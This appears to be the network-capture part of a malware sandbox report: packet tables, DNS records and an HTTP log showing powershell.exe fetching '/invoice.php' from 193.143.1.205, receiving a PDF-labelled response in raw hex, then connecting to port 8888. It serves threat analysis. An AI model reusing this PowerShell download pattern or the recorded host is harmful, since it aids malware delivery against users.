Jan 11, 2025 04:12:17.363789082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363796949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363800049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363811016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363815069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363821030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363831043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363831997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363842010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363857985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363862991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363868952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363879919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363879919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363889933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363899946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363910913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363912106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363920927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363931894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363935947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363957882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363971949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364739895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364753962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364763021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364773989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364784002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364794970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364799976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364805937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364814043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364816904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364828110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364837885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364844084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364849091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364860058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364862919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364870071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364880085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364886045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364892006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.364903927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.364936113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.366170883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.392013073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392061949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392070055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.392074108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392110109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.392122984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392134905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392144918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392158031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.392174006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.392189980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419131994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419151068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419163942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419192076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419219971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419239998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419258118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419296026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419307947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419326067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419332027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419362068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419531107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419543028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419553995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419564009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419574976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419585943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419585943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419626951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419888020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419898987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419909954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419928074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419938087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419939041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419949055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419956923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.419960022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.419986963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.450803041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450844049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450856924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450855970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.450864077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450897932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.450902939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450913906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450923920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450933933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.450952053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.450968981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451122999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451136112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451145887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451158047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451159954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451168060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451174021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451174974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451205015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451380014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451395035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451419115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451476097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451486111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451495886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451505899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451517105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451517105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451529026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451546907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451565981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451752901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451771021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451781988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451792002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451792955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451805115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451814890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451816082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451826096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451838970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.451852083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.451883078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452199936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452212095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452222109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452231884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452239037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452244043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452254057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452263117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452265024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452275991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452280045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452287912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452295065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452336073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452744007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452756882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452766895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452778101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452790022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452791929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452800035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452816010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452820063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452827930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452837944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452842951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452850103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452860117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452869892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452871084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452883005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452896118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.452898026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452918053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.452931881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453499079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453511953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453521967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453532934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453542948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453545094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453555107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453564882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453567982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453577042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453588009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453597069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453597069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453608990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453619003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453619003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453630924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453640938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.453645945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.453679085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454267025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454279900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454292059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454302073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454313040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454314947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454324007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454332113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454334974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454345942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454355955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454365969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454369068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454377890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454387903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454391956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454399109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454401970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454410076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454420090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454431057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.454437971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454454899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454468966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.454924107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.455054998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.455089092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.455099106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.455111027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.455120087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.455128908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.455152988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.466365099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.471407890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.481852055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.481885910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.481899023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.481900930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.481937885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.482063055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.482074022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.482085943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.482110977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.482177019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.482213974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.492388010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.508997917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509049892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509079933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509088993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509099960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509119034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509139061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509139061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509180069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509298086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509316921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509336948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509366035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509447098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509464979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509485960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509491920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509510994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509527922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509531021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509546041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509565115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509581089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509603977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509804010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509821892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509840965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509857893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509860992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.509876966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.509902954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.540704966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540842056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540854931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540868044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540879965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540896893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.540921926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.540934086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.540941000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540952921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540965080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540976048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.540987968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541001081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.541016102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.541203976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541217089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541229010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541239977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541254997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541259050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.541285992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.541402102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541414022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541424990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541435957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.541465044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.541484118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.887551069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:18.492695093 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:18.497626066 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:18.497719049 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:18.497917891 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:18.502666950 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:19.293246031 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:19.337795973 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:19.878424883 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:12:26.100981951 CET	58728	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:12:26.100981951 CET	192.168.2.5	1.1.1.1	0x9b2d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:12:26.108309984 CET	1.1.1.1	192.168.2.5	0x9b2d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:12:26.930310965 CET	1.1.1.1	192.168.2.5	0x1205	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:12:26.930310965 CET	1.1.1.1	192.168.2.5	0x1205	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2448	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:12:16.003730059 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:12:16.785985947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:12:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 